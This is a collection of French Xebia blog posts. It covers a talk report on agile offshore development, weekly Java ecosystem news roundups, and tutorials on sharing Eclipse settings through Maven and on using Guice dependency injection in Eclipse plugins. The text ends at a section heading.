Anurag Shrivastava, président de Xebia India, a pris la suite de Luc pour nous brosser un tableau sans fard des perspectives de sous-traitance en mode offshore. Dans ce discours, qui tranche avec les messages consensuels, Anurag souligne le fait que l’offshore est porteur de beaucoup d’espoirs, souvent irréalistes: productivité importante, coûts faibles, ressources infinis, développements résilients (« follow the sun »). Anurag nous indique les facteurs clés de succès pour obtenir un retour sur investissement réel:

• construire une relation dans la durée en misant sur des équipes captives: la montée en compétence sur le métier du donneur d’ordre ne doit pas être galvaudée
• s’investir dans la connaissance de la culture distante
• éviter les contrats rigides et laisser de la place pour que l’équipe distante s’exprime
• donner des perspectives à l’équipe distante: ne pas sous-estimer l’aspiration des développeurs à tendre vers des technos récentes
• mettre en place l’agilité pour responsabiliser les équipes et partager les engagements.

Patrick Anfossi, directeur informatique au sein de la branche Environnement de Plastic Omnium, a ensuite partagé son retour d’expérience d’une part sur la transformation agile de son organisation, amorcée il y a 3 ans avec Xebia France, et d’autre part sur la mise en oeuvre d’un mode de réalisation agile distribué avec Xebia India et Xebia France. Les points marquants de la présentation de Patrick étaient les suivants:

• Avant la mise en place de l’agilité, Patrick explique que l’approche de Plastic Omnium était de faire faire. L’activité des intervenants de la DSI était donc principalement orientée gestion de contrat: rédaction de cahier des charges, définition de plans qualité, suivi contractuel
• Lors de la mise en place de l’agilité, l’approche n’a pas été de choisir un processus plutôt qu’un autre mais de réfléchir aux valeurs que la DSI souhaitait promouvoir, ces valeurs étant dérivées du manifeste des méthodes agiles
• La DSI est passée d’un mode hypercontractualisé à de l’assistance technique
• La difficulté à laquelle fait face la DSI aujourd’hui pour maintenir l’agilité dans la durée est d’aligner le métier sur cette organisation. le rôle de Product Owner par exemple est difficile à tenir car ses prérogatives sont réparties sur plusieurs individus et ils manquent de cérémonies pour entretenir une vision à moyen terme du produit. La notion de valeur est également diffuse, contrairement à un éditeur de logiciel où un bénéfice financier direct peut être estimé quasiment pour chaque fonction
• Patrick termine en expliquant l’organisation agile distribuée adoptée sur un de ses projets. Il a choisi de travailler avec l’Inde pour les possibilités de montée et descente en charge rapidement. Il souligne d’ailleurs que les profils de Xebia India sont de haut niveau à des TJM introuvables en Europe

Pour conclure cet après-midi, Laurent Sarazin a rejoué sa présentation du Scrum Day 2011 dans laquelle il présente son modèle Scrumshore, disponible en license Creative Commons. Un modèle qui se base sur de solides sources d’inspiration mais conserve une forme très pédagogique et facile d’abord. A utiliser sans modération en environnement distribué !

La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• Création de TypeSafe et sorties conjointes de Scala 2.9 et Akka 1.1
• Sortie de Spring Roo 1.1.4

Le coin de la technique

• Sortie de IntelliJ IDEA 10.5 et baisse des tarifs

Actualité éditeurs / SSII

Création de TypeSafe et sorties conjointes de Scala 2.9 et Akka 1.1

Jeudi dernier, Martin Odersky a annoncé la création de la société TypeSafe avec d’autres acteurs importants du monde Scala tel que Jonas Bonér (créateur de la librairie Akka) ou encore Mark Harra (créateur de sbt) pour ne citer qu’eux. Notez qu’en regardant la liste des personnes impliquées dans la société TypeSafe, on peut voir que James Gosling et Doug Lea sont cités en tant que conseillers.

La vocation de cette nouvelle société est de promouvoir et de fournir un support commercial aux divers composants proposés :

• le langage Scala qui est un langage orienté objet et fonctionnel,
• le middleware Akka qui fournit les services de base permettant d’obtenir une scalabilité horizontale et verticale ainsi que la tolérance aux pannes de vos applications,
• l’outil Simple Build Tool permettant de construire vos applications,
• le plugin Scala IDE permettant de développer en Scala sous Eclipse.

Le langage Scala gagnant progressivement en popularité, notamment dans le monde bancaire et financier, il devenait nécessaire d’apporter un support commercial au travers d’une société regroupant les personnes et les moyens nécessaires (3M$ levés à l’occasion). Le langage Scala est par ailleurs toujours développé dans le cadre du laboratoire LAMP de l’EPFL qui à reçu récemment un financement de l’Union Européenne pour le développement de technologies liées à la scalabilité.

L’annonce de la création de TypeSafe à été accompagnée par deux autre annonces de tailles :

• la sortie de la version finale de Scala 2.9,
• et la sortie de la version 1.1 du framework Akka.

Vous pourrez trouver plus de détails sur les nouveautés de Scala 2.9 dans cette entrée consécutive à la sortie de la première Release Candidate. La principale nouveauté de cette version reste tout de même le support des Parrallel Collections permettant le traitement en parallèle des opérations sur les collections.

L’autre annonce concerne le projet Akka. Akka est un middleware permettant la mise en place d’architectures scalables, Event Driven et tolérante aux pannes, largement inspiré du monde des télécoms (notamment Erlang OTP). Les fonctionnalités offertes par Akka sont :

• support des Acteurs (dans un modèle un peu différent de celui fournit dans la librairie standard de Scala),
• la tolérance aux pannes et la haute disponibilité (utilisant le modèle « Let it crash / Embrace failure »),
• le modèle de Software Transaction Memory permettant la définition d’opérations transactionnelles sur des objets en mémoire,
• les Transactors appliquant le STM au modèle des Acteurs,
• les acteurs distribués (scalabilité verticale),
• la concurrence à l’aide d’Agents et de DataFlow,
• une API disponible en Scala ainsi qu’en Java (le middleware Akka est écrit en Scala).

La version 1.1 de Akka apporte notamment le support de la version 2.9 de Scala, une réduction des dépendances externes, l’amélioration des APIs et de nombreuses corrections de bugs et amélioration de performances.

Avec cette annonce, on peut espérer que le langage Scala gagne un peu plus de terrain dans le monde de l’entreprise.

Sortie de Spring Roo 1.1.4

Spring Roo vient juste de mettre à disposition sa version 1.1.4 disponible ici. Pour rappel, Spring Roo est un IDE texte pour le développement rapide d’applications Java. A la manière d’un Grails, vous pouvez générer une application complète en quelques minutes.

Cette version apporte de nombreuses corrections de bogues et améliorations dont les principales sont :

• Support de Google App Engine 1.4.3 et du plugin maven-gae-plugin en version 0.8.4
• Montée de version Hibernate, Spring Roo passe de la version 3.6.1.Final à la version 3.6.3.Final
• Montée de version du driver SolrJ en version 1.4.1

La prochaine version prévue portera le numéro 1.2.0 et apportera de nouvelles fonctionnalités (Support de JSF 2.0, amélioration DBRE, …).

Le coin de la technique

Sortie de IntelliJ IDEA 10.5 et baisse des tarifs

Jetbrains vient juste d’annoncer la sortie d’une nouvelle version de son produit phare Intellij IDEA.

Cette nouvelle version apporte un certain nombre de nouveauté dont :

• le support complet de Java 7 qui doit sortir cet été,
• un nouveau système de complétion (avec notamment un mode de complétion type camel-case sans utiliser de majuscules),
• le support de tout nouveau Groovy 1.8,
• le support amélioré de Spring et de Spring Integration ainsi que la prise en compte du futur Spring 3.1 ,
• le debug du code javascript dans Chrome,
• l’intégration du serveur Jetty,
• support de XSLT2,
• tout un tas d’amélioration dans le support de différents langages et framework : Grails, Flex, Javascript, Android …
• et les inévitables corrections de bugs et amélioration de performances.

A noter que le développement du plugin Scala (sujet d’actualité dans cette revue de presse) suit son petit bonhomme de chemin et apporte un confort de plus en plus grand aux utilisateurs de ce superbe langage.

Autre nouveauté qui coïncide avec cette nouvelle version : le prix ! Comme vous pouvez le constater, l’acquisition d’une nouvelle licence ou la mise à jours de la version « Ultimate » bénéficie de tarifs sensiblement moins élevés. Notez bien, en revanche, que pour les détenteurs d’une licence de la version 10, le passage en version 10.5 se fait gratuitement. Pour tous, la version « Community », open source mais aux fonctionnalités plus limitées, reste gratuite.

Pour faire le tour des IDE principaux, rappelons que Netbeans 7 est lui sorti courant avril, avec aussi le support de Java 7 en plus de nombreuses améliorations. Et pour finir, ce sera le 22 juin que sortira Eclipse 3.7, de son petit nom « Indigo ». Nous découvrirons alors si le plugin m2Eclipse a finalement été intégré à la distribution Eclipse (il n’est toujours pas dans les dernières version Milestone) et si le support de Git est désormais bien fourni de base. En tout cas, cette version supportera elle aussi la majorité des nouveautés de Java 7.

Actualité éditeurs / SSII

• RabbitMQ 2.4 et Spring AMQP 1.0
• Jersey 1.6

Le coin de la technique

• Google App Engine 1.4.3
• Eclipse: des classes de tests clé en main

Notre communauté en France et à l’étranger

• Pas frais mon poisson ?!

Actualité éditeurs / SSII

RabbitMQ 2.4 et Spring AMQP 1.0

Depuis l’annonce de RabbitMQ par SpringSource, l’éditeur est devenu de facto un moteur important pour imposer le standard AMQP dans les choix d’architecture nécessitant un serveur de message. Cet investissement n’est plus à remettre en doute avec les dernières annonces et articles qui nous viennent de SpringSource ces dernières semaines.

Spring AMQP 1.0 Release Candidate 1

Pour rappel AMQP est un protocol de messagerie indépendant du langage qui dans une certaine mesure peut remplacer JMS pour les applications Java. Ce protocole est encore sujet à de nombreuses modifications, la version 1.0, qui a pris beaucoup de retard, devrait sortir dans quelques mois. Malgré tout il existe déjà quelques serveurs de message se basant dessus comme QPid, StormMQ (cloud) ou justement RabbitMQ. Comme à son habitude SpringSource propose donc une couche d’abstraction pour faciliter l’utilisation de ce protocole d’où spring-amqp.

On retrouvera une classe AmqpTemplate permettant la configuration au serveur puis la réception ou l’envoi de message. Ce template n’est en théorie pas dépendant de la plateforme mais pour l’instant une seule implémentation existe et comme on peut s’y attendre il s’agit de RabbitTemplate. Cette version ne semble pas encore tout à fait abouti entre autre parce qu’AMQP est encore en cours de mutation. Mais il permet à SpringSource de capter les utilisateurs de ce nouveau protocole.

RabbitMQ 2.4

RabbitMQ est sans doute le serveur de messagerie le plus connu utilisant ce protocole. Cette nouvelle version contient entre autre quelques nouvelles améliorations (voir la release note complète):

• accélération du routage des messages: le protocole permet de spécifier des wildcards dans les adresses de destination des messages (par exemple pour récupérer les messages portant sur stock.voiture.bleue et stock.voiture.rouge on s’abonnera à la queue stock.voiture.#). L’algorithme pour résoudre cet acheminant a été revu en profondeur pour des gains de performance multipliés par 60.
• propagation des alertes sur la mémoire à tous les noeuds du cluster
• possibilité d’ajouter des CC et BCC dans les destinataires des messages. Dans le cas du BCC, les destinataires ne seront plus visibles par le client. A noter que ce format n’est pas compris dans le protocole d’AMQP.
• capacité d’écouter les événements d’annulation d’une écoute sur une queue (parce qu’un noeud tombe par exemple) du côté client.
• ajout d’un timeout sur la ConnectionFactory

Le premier point, accélération du routage, a donné lieu à un article très intéressant de Helena Edelson sur le blog de SpringSource sur le lien entre la topologie utilisée et la scalabilité qui en résulte. En effet lorsque le routage pouvait être un problème au niveau performance, des solutions privilégiant des modes de routage directs étaient privilégiés à celles contenant des mécanismes de routage plus sophistiqués. La contrepartie était la création d’un plus grand nombre d’exchange (zone de publication). Ce gain de performance permet donc de simplifier la topologie.

Jersey 1.6

Jersey — l’implémentation JAX-RS de référence — passe en version 1.6. Elle utilise désormais la toute récente version 2.0 de Grizzly — le listener HTTP basé sur NIO — en faisant place à un nouvel artifact : jersey-grizzly2 (le support de la version précédente est conservé mais également déporté dans un artifact).

La release note promet plusieurs points dignes d’intérêt :

• la gestion de liste d’éléments, évitant la création d’un noeud racine « au pluriel » dès qu’une liste doit être fournie au premier niveau du XML ;
• un enrichissement de la déclaration des headers et du path des ressources ;
• une plus grande facilité de rédaction des tests unitaires, les classes jusqu’alors présentes étant plus aisément intégrables dans une variété de contextes ;
• l’ajout d’exemples de code pour la configuration par Jackson en remplacement à JAXB (peu documenté jusque là) et pour les nouveautés Grizzly.

Gare, certains changements — notamment depuis Grizzly 2.0 — ne sont pas rétro-compatibles ; ils sont listés en pied de release note.

Le coin de la technique

Google App Engine 1.4.3

La version 1.4.3 de Google App Engine a été annoncée mercredi dernier. Cette version réduit l’écart des fonctionnalités disponibles entre les langages Python et Java. Côté Python, on peut citer rapidement la disponibilité de stub pour les services App Engine afin de faciliter l’écriture de tests d’intégration. Côté Java, on note l’ajout de l’API Remote qui permet à un client distant d’attaquer les services backend Live App Engine. Un cas d’utilisation typique de cette API, la possibilité d’effectuer des traitements « One shot » (migration / correction de données, etc.) sans avoir à les inclure comme composants de l’application web.

Autre nouveauté de taille de cette version, la disponibilité de l’attribut threadsafe pour votre application qui permet le traitement en parallèle des requêtes. Jusqu’à présent, le traitement des requêtes étaient sérialisées; plusieurs instances pouvaient être allouées pour soutenir la charge, mais le traitement des requêtes sur une même instance ne s’effectuait pas en parallèle. L’activation de cette fonctionnalité s’effectue simplement en ajoutant la balise threadsafe dans le fichier de configuration de l’application. La désactivation de ce mode de fonctionnement par défaut peut surprendre dans la mesure où, le modèle de parallélisation d’un serveur web le modèle le plus répandu et sans doute le plus simple à appréhender.

Enfin, en plus du lot de correction de bugs, une modification salutaire pour le service de Job, il est maintenant possible de spécifier la version cible de l’application pour le traitement des requêtes.

Eclipse: des classes de tests clé en main

Le plugin MoreUnit pour Eclipse, dont nous vous avons déjà parlé sur ce blog pour le gain de temps qu’il offre dans l’écriture de tests unitaires, propose depuis peu une fonctionnalité intéressante : la génération du code « boilerplate » de vos classes de test. Partant d’une classe à tester, il va créer des mocks pour ses dépendances et va ensuite instancier la classe en lui affectant les dépendances simulées. Un exemple est disponible dans la documentation du plugin.

L’outil se base sur des conventions courantes pour détecter les dépendances d’une classe. Sont considérés comme dépendances :

• les paramètres du constructeur ayant le plus grand nombre d’arguments ;
• les propriétés ayant des setters ;
• les champs visibles par la classe de test.

L’intérêt de cette fonctionnalité est immédiat : on gagne beaucoup en temps et en motivation lorsqu’il faut ajouter des tests à des classes existantes non testées. En un clic, une classe de test est prête à accueillir le code qui nous intéresse vraiment, à savoir le test lui-même.

A l’heure actuelle Mockito et EasyMock sont supportés et les développeurs se proposent d’étendre cela si nécessaire. Enfin, à savoir, l’outil fonctionne pour l’instant en mode « tout ou rien » : il n’est pas possible de choisir les dépendances que l’on veut mocker, mais l’équipe de MoreUnit promet un wizard sous peu.

Notre communauté en France et à l’étranger

Pas frais mon poisson ?!

Comme tous les ans, le 1er avril est l’occasion pour certains sites de nous amuser en perpétuant la tradition du poisson d’avril. Voyons ceux que nous avons retenu:

• InfoQ a créé chez nombre d’entre nous un moment d’incrédulité en annonçant la version 1.2 du protocole HTTP. La version 1.1, finalisé depuis 1999 se voyait soit-disant améliorée avec l’ajout de ressources hiérarchiques et de menus textuels. Elle se comporterait comme un « mountable read-only global network file system ». Ce nouveau protocole se permettrait même de casser la compatibilité avec l’existant (!) en imposant que tous les en-têtes de la requête soient connus et acceptés par le serveur sous peine de voir celle-ci rejetée ! Un fort beau poisson au final.
• InfoQ, encore eux, nous relate la publication du dernier né des manifestes: le H-A Manifesto (HA pour « Half-Arsed » que nous ne traduirons pas). Ce manifeste, qui parodie bien sûr le manifeste agile, se veut être la version enterprise ready, permettant d’intégrer les pratiques agiles dans le cadre rigide d’une grande compagnie. Ce manifeste fera à n’en pas douter bien rire tout ceux qui ont été confrontés à des problèmes d’intégration des méthodes agiles dans des environnements réfractaires.
• Tant que nous sommes dans les manifestes, citons le Manifeste pour Manifeste qui se propose de théoriser l’écriture d’un manifeste. Tout nouveau manifeste se devra à coup sûr de respecter les règles y étant énoncées.
• Qui ne connaît pas Joël On Software ? C’est le site de Joël Spolsky, le fondateur du fantastique StackOverflow et plus récemment de la compagnie Stack Exchange se proposant d’appliquer le principe de la collaboration de StackOverflow à d’autres thèmes. Sur son site, Joël nous parle régulièrement de tout ce qui fait la vie d’un informaticien. Pour le 1er avril, il a ouvert un nouveau site: Joël on Coal. comme son nom l’indique, il nous parle de tout ce qui fait la vie d’un bon… mineur de charbon ! Et Joël va jusqu’à parodier son fameux Joël test qui est connu pour permettre d’identifier rapidement les bonnes équipes de développement. La version parodique, n’est bien sûr drôle que si l’on la rapproche de l’original.
• Oracle n’en aurait apparemment pas fini avec les procès. Cette fois-ci, c’est la chaîne de cafés Starbucks qui est poursuivie. Il faut dire qu’ils ont cherché les problèmes en osant nommer un de leurs café « Java Chip Frappucino Ice Cream » alors que tout le monde sait que Java est une marque déposée d’Oracle. Tout ceci est bien sûr vrai, mais seulement début avril chez Infoworld.
• Pour finir notre tour des poissons, citons 2 scripts javascript fournis par The Wojo Group. Le premier fera passer n’importe quel élément html pour du Flash en changeant le menu contextuel (clic droit) et en imitant celui de Flash. Le second rappellera à certains d’entre nous l’époque où les chevaux de troie n’existaient pas et où les virus, qui se transmettaient par disquette, corrompaient l’affichage à l’écran. En effet, ce script fera bouger certains mots de votre page web d’une manière étonnante qui rappellera les plus amusants des virus de l’époque.

Et comme tous les 1er avril, nous nous sommes encore amusés ! Vivement dans un an pour de nouveaux >++++)°>

Grosso modo, j’observe qu’il y a 3 types de warning :

• imports inutilisés (60%)
• unchecked casts (30%)
• variables ou méthodes private non utilisées (10%)

Je prends mon bâton de pèlerin et je nettoie. Cependant, je me rends bien compte que ces warnings sont pour la majorité des erreurs d’inattention qui pourraient être facilement évitées.

A quoi bon nettoyer, si c’est pour se retrouver dans la même situation dans trois mois ? Donc, en plus de ma maintenance corrective, je pars également à la recherche d’une action préventive.

Première idée évidente, configurer Eclipse pour que celui-ci effectue ce genre de nettoyage lors d’une sauvegarde d’un fichier. Facile, il suffit de paramétrer ceci dans Properties -> Java Editor -> Save Actions (Plus de détails ici).

Cependant, à quoi bon le faire uniquement sur mon Eclipse ? Quel intérêt, si les autres membres de l’équipe ne bénéficient pas eux aussi de la même configuration ? Comment faire en sorte que ma configuration soit facilement partagée avec les autres ?

Le projet étant un projet maven, le maven-eclipse-plugin semble offrir la solution.

Construire sa configuration cible idéale

Le plus facile est de le faire via Eclipse. On choisit un projet java et on se définit la configuration voulue dans les properties. Je ne vais pas vous conseiller particulièrement, ceci étant souvent une affaire de gout. Allez jeter un coup d’œil notamment dans :

• Java Code Style : Clean Up, Code Templates, Formatter

• Java Compiler -> Errors/Warning : pour redéfinir le niveau des alertes. Il peut être intéressant de bloquer directement depuis l’IDE certaines sources d’erreurs, comme par exemple : x == x ou x =x…

• Java Editor -> Save Action (vu précédemment) :

Enregister sa configuration dans Maven

Une fois le paramétrage effectué, il suffit d’aller récupérer le résultat dans le répertoire .settings du projet. Vous trouverez dans ce répertoire les fichiers contenant la configuration réalisée précédemment (org.eclipse.jdt.ui.prefs, org.eclipse.jdt.core.prefs, etc.). Ce sont des fichiers de propriétés contenant ce genre d’information :

#Wed Dec 15 14:36:54 CET 2010
cleanup.add_default_serial_version_id=true
cleanup.add_generated_serial_version_id=false
cleanup.add_missing_annotations=true
cleanup.add_missing_deprecated_annotations=true
cleanup.add_missing_methods=false
cleanup.add_missing_nls_tags=false
cleanup.add_missing_override_annotations=true
cleanup.add_missing_override_annotations_interface_methods=true
...

Il suffit maintenant d’extraire tout le contenu nous intéressant et de le mettre dans la configuration du maven-eclipse-plugin. Par exemple :

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>fr.xebia.build.tools</groupId>
  <artifactId>testConfMaven</artifactId>
  <version>0.0.1-SNAPSHOT</version>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-eclipse-plugin</artifactId>
        <version>2.7</version>
        <configuration>
          <downloadSources>true</downloadSources>
          <additionalConfig>
            <file>
              <name>.settings/org.eclipse.jdt.ui.prefs</name>
              <content><![CDATA[
 eclipse.preferences.version=1
 editor_save_participant_org.eclipse.jdt.ui.postsavelistener.cleanup=true
 sp_cleanup.add_default_serial_version_id=true
 sp_cleanup.add_missing_annotations=true
 sp_cleanup.add_missing_deprecated_annotations=true
 sp_cleanup.add_missing_override_annotations=true
 sp_cleanup.add_missing_override_annotations_interface_methods=true
 sp_cleanup.always_use_blocks=true
 sp_cleanup.make_private_fields_final=true
 sp_cleanup.make_variable_declarations_final=true
 sp_cleanup.never_use_parentheses_in_expressions=true
 sp_cleanup.organize_imports=true
 sp_cleanup.qualify_static_member_accesses_through_instances_with_declaring_class=true
 sp_cleanup.qualify_static_member_accesses_through_subtypes_with_declaring_class=true
 sp_cleanup.remove_private_constructors=true
 sp_cleanup.remove_trailing_whitespaces_all=true
 sp_cleanup.remove_unnecessary_casts=true
 sp_cleanup.remove_unused_imports=true
 sp_cleanup.remove_unused_private_fields=true
 sp_cleanup.remove_unused_private_types=true
 sp_cleanup.use_this_for_non_static_field_access_only_if_necessary=true
 sp_cleanup.use_this_for_non_static_method_access_only_if_necessary=true
                ]]>
              </content>
            </file>
          </additionalConfig>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

A noter, on peut également mettre cette configuration dans des fichiers externes, qui seraient embarqués dans une dépendance maven :

<plugin>
  <artifactId>maven-eclipse-plugin</artifactId>
  <version>2.7</version>
  <configuration>
    <additionalConfig>
      <file>
        <name>.settings/org.eclipse.jdt.ui.prefs</name>
        <location>settings/org.eclipse.jdt.ui.prefs</location>
      </file>
      <file>
        <name>.checkstyle</name>
        <location>/.checkstyle</location>
      </file>
    </additionalConfig>
  </configuration>
  <dependencies>
    <dependency>
      <groupId>fr.xebia.build.tools</groupId>
      <artifactId>xebia-eclipse-conf</artifactId>
      <version>0.0.1</version>
    </dependency>
  </dependencies>
</plugin>

Notre projet xebia-eclipse-conf est une dépendance maven du projet et possède la structure suivante :

|-src
|—main
|—–resources
      |–.checkstyle
      |–settings
        |–org.eclipse.jdt.ui.prefs

Une fois la configuration faite, il suffira aux développeurs d’exécuter la commande mvn eclipse:m2eclipse ou mvn eclipse:eclipse (si vous n’utilisez pas m2Eclipse) puis de faire un refresh sur votre projet.

Nous utilisons la version 2.7 du maven-eclipse-plugin, car le goal eclipse:m2eclipse a été supprimé de la version 2.8 (voir l’explication de Jason van Zyl). Cependant, aucune autre alternative valable n’existe à notre connaissance pour générer les fichiers de configuration d’Eclipse. Le salut pourra venir des « Extension points », cependant cette solution ne paraît pas encore utilisable en l’état.

Point d’attention

Ce n’est pas parce que l’on peut tout faire, qu’il est souhaitable de tout mettre dans notre configuration. Le mieux est l’ennemi du bien, et il convient donc de trouver un juste équilibre entre ce qui est vraiment utile et ce qui pourrait devenir une contrainte pour certaines personnes. Quoi qu’il arrive, il est important que l’équipe valide ensemble le contenu plutôt qu’une personne isolée fasse selon ses goûts.

Voilà pour l’astuce ! Maintenant, vous allez me dire que dans votre équipe un vilain petit canard utilise Intellij Idea. Je ne connais pas encore le pendant de cette méthode. Peut-être que le maven-idea-plugin fait l’affaire. Si vous connaissez une solution viable, n’hésitez pas à poster la solution en commentaire.

Quand on découvre la plateforme, on peut être surpris par deux différences majeures par rapport au développement d’un projet Java « entreprise » :

• La manière de builder le projet : Eclipse propose ses propres conventions de structure de projet et fournit ses outils pour le builder. Certains points sont paramétrables mais on ne retrouve pas la richesse offerte par Ant, Maven ou encore Gradle. Cela fera éventuellement l’objet d’un autre article ;
• Dans le code lui même : le passage des dépendances entre classes ou entre bundles est particulier, et c’est ce dernier point qui nous intéresse dans cet article. En effet le code d’un plugin Eclipse ressemble souvent à ça : SomePlugin.getDefault().getSomeComponent().getSomeChild().doSomething().

Les singletons sont omniprésents, principalement pour fournir un point d’accès aux différents bundles. Par ailleurs beaucoup d’actions ne sont accessibles que via des méthodes statiques.

Évidemment, le principal problème qui se pose est celui des tests unitaires. Eclipse propose de lancer votre plugin et d’exécuter des tests JUnit dessus, mais il s’agit là de tests d’intégration qui s’exécutent lentement et ne permettront pas de faire du TDD. Il est toujours possible de faire de l’injection de dépendances (DI) « à la main », mais on aurait tort de se priver de l’utilisation d’un framework dédié à cela, d’autant plus qu’on pourrait y gagner d’autres fonctionnalités : binding interface/implémentation, gestion de scopes (singleton, session…), AOP, etc…

En attendant Eclipse 4 – qui proposera nativement des fonctionnalités de DI - je vous propose donc de mettre en place Guice et son extension Peaberry sur un projet-type de plugin pour Eclipse.

Note : pour ce qui est de l’appel de méthodes statiques, aucun framework de DI ne pourra changer la donne puisqu’on est alors dépendant d’une méthode, et non d’une classe. Il faudra donc déléguer ces appels à des classes « tampons » ou mocker ces appels lors des tests avec un framework spécifique tel que JMockit.

Créer le projet de démonstration

Tout le code nécessaire à la démonstration est dans cet article, mais il est parfois abrégé pour des questions de lisibilité. Si vous ne désirez pas créer le projet de démonstration mais que vous voulez malgré tout avoir accès au code dans son intégralité, vous pouvez le trouver sur GitHub.

Nul besoin de quelque chose de compliqué pour cet article, on se contentera du HelloWorld d’Eclipse :

• Créer un nouveau projet : « New » > « Project » > « Plug-in Development » > « Plug-in Project » ;
• Lui donner un nom, pour notre exemple : fr.xebia.eclipse.guiceexample ;
• Changer le nom par défaut de l’Activator afin qu’il représente mieux le fait que ce sera un point d’entrée au plugin, par exemple : GuiceExamplePlugin ;
• Choisir le template « Hello, World » ;
• Valider.

A ce stade, vous pouvez lancer le plugin (« Run As » > « Eclipse Application ») et constater qu’il vous dit bonjour lorsque vous cliquez sur « Sample Menu » > « Sample Action ».

Afin d’avoir un peu de matière pour la suite, je vous propose deux ajouts :

1. dans le message, afficher le thème graphique utilisé par la plateforme ;
2. dans la console, afficher, lors du démarrage, des statistiques sur les points d’extension utilisés ou fournis par le plugin.

Le premier ajout se situe donc dans SampleAction.run() :

public void run(IAction action) {
	String currentTheme = PlatformUI.getWorkbench().getThemeManager().getCurrentTheme().getLabel();
	String message = "Hello, Xebia world. " + NL + "The current theme is: " + currentTheme;
	MessageDialog.openInformation(window.getShell(), "Guice Example", message);
}

Pour le deuxième point, ajoutons le code suivant dans GuiceExamplePlugin.start() :

public void start(BundleContext context) throws Exception {
	super.start(context);
	plugin = this;
	ExtensionStatistics stats = new ExtensionStatistics();
	String message = "This plugin declares " + stats.countDeclaredExtensions() + " extensions and provides "
			+ stats.countDeclaredExtensionPoints() + " extension points";
	getLog().log(new Status(IStatus.INFO, PLUGIN_ID, message));
}

Le code de la classe ExtensionStatistics étant le suivant :

public class ExtensionStatistics {
	public int countDeclaredExtensions() {
		return Platform.getExtensionRegistry().getExtensions(GuiceExamplePlugin.PLUGIN_ID).length;
	}
	public int countDeclaredExtensionPoints() {
		return Platform.getExtensionRegistry().getExtensionPoints(GuiceExamplePlugin.PLUGIN_ID).length;
	}
}

Enfin, afin que le plugin démarre en même temps qu’Eclipse, ajoutons cette ligne dans le fichier plugin.xml :

<extension point="org.eclipse.ui.startup" />

A présent, lors du lancement de l’application, on peut lire dans la console de l’instance Eclipse de développement :

!ENTRY fr.xebia.eclipse.guiceexample 1 0 2010-12-18 16:47:33.848
!MESSAGE This plugin declares 2 extensions and provides 0 extension points

ou encore dans la vue « Error Log » de la nouvelle instance d’Eclipse :

Et en cliquant sur « Sample Action » on obtient :

Voilà, la suite de cet article va consister à réécrire ces deux bouts de code pour qu’ils utilisent Guice, afin de s’affranchir des couplages forts entre nos classes et leurs dépendances. Mais commençons tout d’abord par l’importation de Guice dans la plateforme.

Importer Guice

Vous trouverez la dernière version de Guice ici. Deux JARs seulement nous intéressent dans l’archive ZIP : guice-2.0.jar et aopalliance.jar.

Eclipse propose deux manières d’importer des JARs dans la plateforme pour les utiliser avec votre plugin :

1. inclure les JARs dans votre plugin ;
2. exposer les JARs en question comme des plugins, desquels dépendra votre plugin.

Dans le premier cas, il vous faut :

• Placer les JARs dans votre projet (disons dans un répertoire « lib ») ;
• Puis, au sein de l’éditeur du manifest de votre plugin, les ajouter dans la section « Classpath » de l’onglet « Runtime » ;
• Créer aussi la library « . » pour que le plugin voit encore ses propres classes ;
• Enfin, sauvegarder.

La deuxième solution est à préférer si vous comptez utiliser vos dépendances au sein de plusieurs plugins. Les étapes sont les suivantes :

• Créer un nouveau projet : « New » > « Project » > « Plug-in Development » > « Plug-in from Existing JAR Archives » ;
• Donner l’accès aux JARs à importer ;
• Donner un nom au plugin : pour éviter toute collision, une bonne méthode consiste à utiliser le nom de votre organisation ou de votre plugin (selon la portée de votre dépendance), suivi du nom de la dépendance (ou de l’ensemble de dépendances) – dans notre exemple : fr.xebia.eclipse.guiceexample.guice ;
• Décocher « Unzip the JAR archives into the project » (ça ne sert à rien) ;
• Enfin, déclarer ce nouveau plugin comme dépendance de celui qui nous intéresse : là encore, utiliser l’éditeur du manifest – onglet « Dependencies » – et ajouter fr.xebia.eclipse.guiceexample.guice.

On notera que ce nouveau plugin expose les JARs de la même manière qu’avec la première solution, mais au moins on n’a pas à le faire à la main.

Créer un module Guice et un injecteur

En bref, Guice requiert un ou plusieurs modules définissant les bindings entre des types Java et leur(s) implémentation(s), ainsi qu’un ou plusieurs injecteurs permettant de construire le graphe d’objets à partir de ces définitions. Pour démarrer nous créerons donc un module principal pour notre plugin :

package fr.xebia.eclipse.guiceexample;
import com.google.inject.AbstractModule;
public class CoreModule extends AbstractModule {
	@Override
	protected void configure() {
	}
}

ainsi qu’un injecteur, dans GuiceExamplePlugin :

private Injector injector;
public void start(BundleContext context) throws Exception {
	super.start(context);
	plugin = this;
	injector = Guice.createInjector(new CoreModule());
	ExtensionStatistics stats = injector.getInstance(ExtensionStatistics.class);
	// ...
}
// méthode d'accès qui nous servira plus tard
public Injector getInjector() {
	return injector;
}

Dans le cas qui nous intéresse, nous voudrions nous passer de l’appel à Platform.getExtensionRegistry(). Il suffit de déclarer une méthode @Provides dans CoreModule pour que Guice sache comment nous le fournir :

public class CoreModule extends AbstractModule {
	// configure(){} ...
	@Provides
	protected IExtensionRegistry provideExtensionRegistry() {
		return Platform.getExtensionRegistry();
	}
}
public class ExtensionStatistics {
	private final IExtensionRegistry extensionRegistry;
	@Inject
	public ExtensionStatistics(IExtensionRegistry extensionRegistry) {
		this.extensionRegistry = extensionRegistry;
	}
	public int countDeclaredExtensions() {
		return extensionRegistry.getExtensions(GuiceExamplePlugin.PLUGIN_ID).length;
	}
	// ...
}

Cela nous évite ainsi de créer notre propre factory. Vous l’aurez compris la suite ne relève que l’utilisation basique de Guice, déjà discutée sur ce blog ici et là.

Seulement voilà : lors d’un développement pour Eclipse IDE, la plupart de nos classes est déclarée comme étant une extension à la plateforme (au sein du fichier plugin.xml) et est instanciée par Eclipse, comme c’est le cas pour SampleAction. Dans ce cas-là, comment faire pour s’éviter de devoir à nouveau récupérer par nous-même nos dépendances ?

Injecter des dépendances dans une extension Eclipse

Peaberry’s GuiceExtensionFactory

